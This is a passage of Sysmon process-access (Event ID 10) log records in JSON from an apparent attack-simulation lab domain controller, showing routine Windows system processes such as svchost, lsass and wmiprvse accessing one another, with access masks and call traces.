C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4381-5F2D-0000-0010E2231200}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4381-5F2D-0000-0010E2231200}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.069\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.069","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.069\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.069","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.069\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.069","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:22.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-00100FD51100}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:22.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-00100FD51100}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020